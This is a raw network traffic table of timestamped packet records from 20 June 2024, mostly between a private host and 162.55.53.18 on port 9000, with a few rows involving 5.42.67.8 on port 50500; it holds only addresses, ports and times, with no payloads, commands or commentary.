Jun 20, 2024 06:49:25.385250092 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.385277033 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.385284901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.385318995 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.385322094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.385341883 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.385354042 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.385385990 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.385407925 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.393237114 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:25.400789976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400820017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400851965 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400883913 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400883913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.400883913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.400912046 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400948048 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.400952101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.400953054 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.400981903 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.400999069 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.401001930 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.401031971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.401057005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.401066065 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.401091099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.401365995 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410456896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410506964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410541058 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410550117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410589933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410624027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410655975 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410705090 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.410903931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410903931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410903931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410904884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.410904884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417567968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417620897 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417671919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417737007 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417785883 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417788029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417788029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417788029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417819023 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417853117 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417860985 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417886019 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.417896986 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417921066 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.417938948 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430630922 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430682898 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430717945 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430748940 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430799007 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430831909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430833101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430833101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430833101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430849075 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430891991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430910110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430941105 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.430955887 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.430974960 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431026936 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431037903 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.431060076 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431092024 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431113958 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.431126118 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431153059 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.431160927 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431174040 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.431195974 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.431250095 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432708979 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432743073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432782888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432792902 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432807922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432826042 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432853937 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432859898 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432885885 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432893991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432909966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432934046 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.432948112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.432986021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435594082 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435643911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435653925 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435709000 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435741901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435774088 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435805082 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435839891 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435868979 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.435942888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435944080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435944080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435944080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.435944080 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440468073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440514088 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440537930 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440562010 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440596104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440622091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440635920 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440645933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440670967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440690041 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440706015 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440723896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.440740108 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.440752029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.441147089 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.442616940 CEST	49778	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:25.446516991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446548939 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446582079 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446614981 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446680069 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446729898 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446727991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.446727991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.446727991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.446727991 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.446763992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.446772099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.446813107 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.447012901 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450206995 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450256109 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450289011 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450294971 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450318098 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450320959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450352907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450372934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450373888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450404882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450422049 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450438976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450455904 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.450468063 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.450486898 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.451354980 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.455053091 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455101967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455151081 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455180883 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455182076 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.455215931 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455246925 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455281973 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.455418110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.455418110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.455418110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.455418110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.457861900 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.457910061 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.457943916 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.457986116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.458043098 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.458075047 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.458106995 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.458138943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.458376884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.458376884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.458376884 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.462176085 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462204933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462251902 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462282896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462285042 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.462311029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.462316036 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462336063 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.462352037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462372065 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.462415934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462466002 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.462634087 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.463356972 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.466597080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466650009 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466682911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466732025 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466763973 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466794968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466825962 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.466831923 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.466919899 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.466921091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.466921091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.467468977 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.468514919 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:25.470854044 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.470886946 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.470933914 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.470962048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.470962048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.470967054 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.470999956 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.471025944 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.471030951 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.471059084 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.471066952 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.471085072 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.471132040 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477176905 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477210045 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477257967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477288008 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477328062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477339029 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477350950 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477381945 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.477420092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477421045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477421045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477421045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477421045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477421045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.477530003 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.492932081 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.492969990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493019104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493031025 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.493031979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.493053913 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493086100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493119001 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.493119001 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493139029 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.493155003 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.493185043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.493204117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502199888 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502233028 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502280951 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502299070 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502336979 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502346992 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502388954 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502391100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502422094 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502454996 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502476931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502489090 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.502517939 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.502538919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509644985 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509677887 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509712934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509746075 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509757042 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509782076 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509805918 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509830952 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509838104 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509862900 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509872913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509893894 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509895086 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.509933949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.509953022 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.518919945 CEST	50500	49778	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:25.519449949 CEST	49778	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:25.522481918 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522532940 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522562027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522612095 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522619009 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522644043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522644997 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522665024 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522680044 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522700071 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522713900 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522744894 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522763968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522766113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522829056 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522862911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522885084 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522896051 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.522923946 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522948027 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.522960901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.523013115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.523061991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.523068905 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.523096085 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.523128033 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.523153067 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.523180962 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524230003 CEST	50500	49778	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:25.524497986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524532080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524564981 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524584055 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524597883 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524611950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524632931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524688959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524689913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524722099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524741888 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524756908 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524781942 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524786949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.524822950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.524847031 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.527563095 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.527590990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.527638912 CEST	9000	49773	162.55.53.18	192.168.2.4
